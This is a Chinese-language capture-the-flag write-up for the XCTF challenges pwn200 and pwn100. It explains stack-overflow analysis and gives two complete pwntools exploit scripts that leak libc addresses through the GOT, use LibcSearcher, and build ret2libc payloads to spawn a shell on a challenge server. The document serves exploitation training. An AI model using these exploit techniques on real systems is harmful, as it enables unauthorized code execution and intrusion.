攻防世界pwn100 pwn200

pwn200:
拿到文件查保护攻防世界pwn100 pwn200_第1张图片
只开启了NX保护
攻防世界pwn100 pwn200_第2张图片
攻防世界pwn100 pwn200_第3张图片
这里发现一个栈溢出漏洞
攻防世界pwn100 pwn200_第4张图片
发现找不到system和 /bin/sh,也没有libc的版本,所以做题思路是泄露libc的版本来获取system和/bin/sh的地址。
如何泄露libc的版本,我们得泄露函数的真实地址,通过真实地址可以获取libc的版本,而我们想要获取函数的真实地址,我们需要用got表来泄露。
因为libc基地址 + 函数偏移量 = 函数真实地址。
获得函数真实地址和libc版本,我们就能得知libc的基地址,那么我们也便能得知system和/bin/sh的真实地址。
这里我们泄露的函数用的是write函数。
如何泄露函数的真实地址,因为libc的延迟绑定,我们需泄露已执行的函数的地址,got表内放的是真实地址,我们这里用的是write函数。
通过执行write函数泄露write函数的地址

from pwn import *
from LibcSearcher import *
p = remote("124.126.19.106",33338)

pwn200 = ELF('./pwn200.txt')

write_plt = pwn200.plt['write']
write_got = pwn200.got['write']
main_addr = 0x080484BE

payload = 'a'*112 + p32(write_plt) + p32(main_addr)+ p32(1) + p32(write_got)+p32(4) #通过栈溢出来泄露出write()函数的真实地址
#write(fd,addr,len)需要三个参数

p.recv()
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr=" ,hex(write_addr)

libc = LibcSearcher('write',write_addr)
libcbase = write_addr - libc.dump('write')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload1 = 'a'*112 + p32(system_addr)+'aaaa'+p32(bin_sh_addr)
#再一次栈溢出,构造system('/bin/sh'),
p.sendline(payload1)
p.interactive()

攻防世界pwn100 pwn200_第5张图片

PWN100:

这道题的思路和上面的pwn200一样,都是没有system和/bin/sh,都是要泄露libc的版本。
攻防世界pwn100 pwn200_第6张图片
没啥保护。

拖进ida攻防世界pwn100 pwn200_第7张图片
攻防世界pwn100 pwn200_第8张图片
sub_40063D存在栈溢出漏洞,
存在puts函数和read函数,我们可以通过执行puts函数来泄露read函数的真实地址。
因为这是64位程序,寄存器传参,而rdi是第一个参数放进去的寄存器,我们要通过ROPgadget工具来找到pop rdi的地址。
我们要将read_got的地址传进去,然后将pop_rdi的返回地址设置为put函数的地址。
攻防世界pwn100 pwn200_第9张图片

from pwn import *
from LibcSearcher import *

p = remote("124.126.19.106",55768)
pwn100 = ELF('./pwn100.txt')

puts_plt = pwn100.plt['puts']
read_got = pwn100.got['read']
pop_rdi = 0x400763
main_addr = 0x4006b8

payload = 'a'*0x48 + p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr) + 'b'*(200-0x48-8*4)
#这里我们将puts函数的返回地址设为main函数的地址作用是为了再次返回主函数进行第二次栈溢出,而且payload的字节数要满200,

p.send(payload)
p.recvuntil("bye~\n")
read_addr = u64(p.recv().split('\n')[0].ljust(8, '\x00'))
#此处是因为puts函数打印的地址最后会自带换行符'\n',所以要去掉'\n'。地址只有6位,所以要将将地址补充为8位
print "read_addr = " ,hex(read_addr)

libc = LibcSearcher('read',read_addr)
libcbase = read_addr - libc.dump('read')
system_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload1 = 'a'*0x48 + p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+'b'*(200-0x48-8*3)
#第二次栈溢出
p.sendline(payload1)
p.interactive()

攻防世界pwn100 pwn200_第10张图片
这两道题,大同小异,明白该如何入手这道题目,遇到的一些疑惑或者做题卡住的地方,也通过网上师傅们的博客给了解了个透彻,总体来说收获良多。

你可能感兴趣的:(攻防世界pwn100 pwn200)